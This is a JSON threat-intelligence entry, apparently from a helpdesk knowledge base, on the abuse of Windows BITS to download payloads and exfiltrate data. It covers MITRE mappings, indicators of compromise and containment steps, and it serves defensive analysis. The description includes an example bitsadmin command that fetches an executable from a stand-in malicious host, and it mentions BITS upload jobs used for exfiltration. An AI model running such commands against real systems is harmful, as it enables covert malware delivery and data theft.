{
  "family": "bits",
  "sample_count": 1,
  "category": "ransomware",
  "description": "HackTool:Win32/Bits refers to the detection of malware severely abusing the legitimate Windows Background Intelligent Transfer Service (BITS) (`T1197`). BITS is a Windows component designed to download files in the background using idle network bandwidth (it's how Windows Updates are delivered). Attackers 'Live off the Land' by hijacking this service to download payloads or exfiltrate data completely under the radar.<br><br><b>Understanding BITS Abuse (Living off the Land)</b><br>To an end-user, there is no visible impact. For a SOC analyst, BITS abuse is a nightmare scenario. Because BITS traffic is handled by the legitimate `svchost.exe` process, it easily bypasses application-based firewalls that block unknown executables from reaching the internet. Furthermore, BITS jobs are persistent; if the machine reboots, or the network drops, Windows will automatically resume the malicious download when the connection returns.<br><br><b>Execution and Evasion Mechanics</b><br>Attackers typically use PowerShell or the command-line utility `bitsadmin.exe` to create a new, hidden transfer job. For example: `bitsadmin /transfer myjob /download /priority high http://malicious.com/payload.exe C:\\temp\\payload.exe`. Some advanced variants even use BITS to exfiltrate data by setting the BITS job to upload local files to an external web server (`T1041`). Because the network traffic originates from a trusted Microsoft binary, it blends in perfectly with normal OS telemetry.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the stealthy delivery of secondary payloads (like ransomware) or the exfiltration of data. Host-based IoCs include EDR alerts for the execution of `bitsadmin.exe` with suspicious arguments (`/transfer`, `/download`, `/upload`), or PowerShell scripts interacting with the `Start-BitsTransfer` cmdlet. You can also view active BITS jobs using the `bitsadmin /list /allusers` command. Network IoCs involve analyzing `svchost.exe` traffic to non-Microsoft, low-reputation domains.",
  "cta": "Published by the SystemHelpdesk team.",
  "aliases": [],
  "enrichment_level": "expert-seo",
  "faq": [],
  "faq_count": 0,
  "mitre_attack": [
    "T1218",
    "T1041",
    "T1197"
  ],
  "cisa_advisory": null,
  "last_updated": "2026-06-09",
  "mitre_attack_detail": [
    {
      "id": "T1197",
      "name": "BITS Jobs (The core technique abused by this malware)",
      "tactic": "Defense Evasion"
    },
    {
      "id": "T1218",
      "name": "System Binary Proxy Execution (Using bitsadmin or svchost to proxy the network request)",
      "tactic": "Defense Evasion"
    },
    {
      "id": "T1041",
      "name": "Exfiltration Over C2 Channel (Using BITS upload jobs to steal data)",
      "tactic": "Exfiltration"
    }
  ],
  "containment_steps": [
    "Use `bitsadmin /list /allusers` to identify the malicious transfer job and immediately cancel it using `bitsadmin /cancel <JobName>`.",
    "Analyze the job details to determine the source URL (where the payload was coming from) or the destination URL (where data was being sent).",
    "Identify the file that was successfully downloaded by the BITS job and isolate it.",
    "Investigate the initial vector that executed the `bitsadmin` command (e.g., an Office macro or a PowerShell script)."
  ],
  "what_to_avoid": [
    "Do not assume network traffic from `svchost.exe` is inherently safe; it is frequently abused by BITS jobs.",
    "Avoid just deleting the downloaded payload; you must cancel the actual BITS job, or Windows will redownload it."
  ],
  "target_industries": [
    "Global / Opportunistic"
  ],
  "motivation": "Opportunistic",
  "threat_actors": [
    "Unknown / Cybercriminal"
  ],
  "target_geographies": [
    "Global"
  ]
}